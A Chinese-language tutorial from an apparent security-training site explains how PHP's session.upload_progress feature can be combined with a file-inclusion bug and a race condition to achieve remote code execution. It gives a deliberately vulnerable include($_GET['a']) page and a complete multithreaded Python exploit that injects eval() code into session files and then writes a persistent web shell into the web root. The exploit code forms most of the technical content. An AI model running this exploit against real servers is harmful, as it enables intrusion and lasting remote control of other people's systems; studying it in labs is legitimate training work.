经验总结
【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE
2021-09-14 02:55

什么是session.upload_progress?

open_basedirallow_url_fopenallow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

session.upload_progress开启之后会有什么效果?

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

问题1:

那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?

分析1:

我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。

问题2:

当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?

分析2:

利用Python的多线程,进行条件竞争

如何利用session.upload_progress进行RCE?

然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。

首先,在网站根目录下随便新建一个test.php文件

然后写一个Python程序用于往服务器上上传文件:

这里有几个注意点:

import requests
import io
url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
   filebytes = io.BytesIO(b'a' * 1024 * 50)
   while True:
       res = session.post(url,
           data={
               'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
               },
           cookies={
               'PHPSESSID': sessid
               },
           files={
               'file': ('Lxxx.jpg', filebytes)
               }
           )

if __name__ == "__main__":
   with requests.session() as session:
       write(session)

执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。

tail -f /tmp/sess_Lxxx

结果如下:


也就是说,/tmp/sess_Lxxx文件中的内容为:

upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

仔细分析一下该文件内容,该文件分为两块,以竖线|区分。

第一块内容如下:

upload_progress_<?php eval($_POST[1]);?>

这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS

第二块内容如下:

a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

一看就是序列化之后的值,我们将其进行反序列化后输出:

array(5) {
 ["start_time"]=>
 int(1631343214)
 ["content_length"]=>
 int(276)
 ["bytes_processed"]=>
 int(276)
 ["done"]=>
 bool(false)
 ["files"]=>
 array(1) {
   [0]=>
   array(7) {
     ["field_name"]=>
     string(4) "file"
     ["name"]=>
     string(8) "Lxxx.jpg"
     ["tmp_name"]=>
     NULL
     ["error"]=>
     int(0)
     ["done"]=>
     bool(false)
     ["start_time"]=>
     int(1631343214)
     ["bytes_processed"]=>
     int(276)
   }
 }
}

可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。

接下来在网站根目录新建一个test.php文件,文件内容如下:

<?php
$a = $_GET["a"];
include($a);

很明显有一个文件包含的漏洞。

接下来我们利用session.upload_progress进行条件竞争

以下代码有几个注意点:

代码如下:

import requests
import io
import threading

url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
   filebytes = io.BytesIO(b'a' * 1024 * 50)
   while True:
       res = session.post(url,
           data={
               'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
               },
           cookies={
               'PHPSESSID': sessid
               },
           files={
               'file': ('Lxxx.jpg', filebytes)
               }
           )

def read(session):
   while True:
       res = session.post(url+"?a=/tmp/sess_"+sessid,
                          data={
                              "1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
                          },
                          cookies={
                              "PHPSESSID":sessid
                          }
                          )
       res2 = session.get("http://192.168.2.128/1.php")
       if res2.status_code == 200:
           print("成功写入一句话!")
       else:
           print("Retry")



if __name__ == "__main__":
   evnet = threading.Event()
   with requests.session() as session:
       for i in range(5):
           threading.Thread(target=write, args=(session,)).start()
       for i in range(5):
           threading.Thread(target=read, args=(session,)).start()
   evnet.set()

代码执行结果如下:


一开始会一直显示Retry,但是只要运行一段时间就会成功写入一句话。

image.png

可以在网站根目录看到,成功写入一句话。

参考资料





点击链接进行实验:链接文字php竞争条件漏洞


上一篇:AWDPwn 漏洞加固总结
下一篇:一篇文章弄懂session的两种存储方式
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731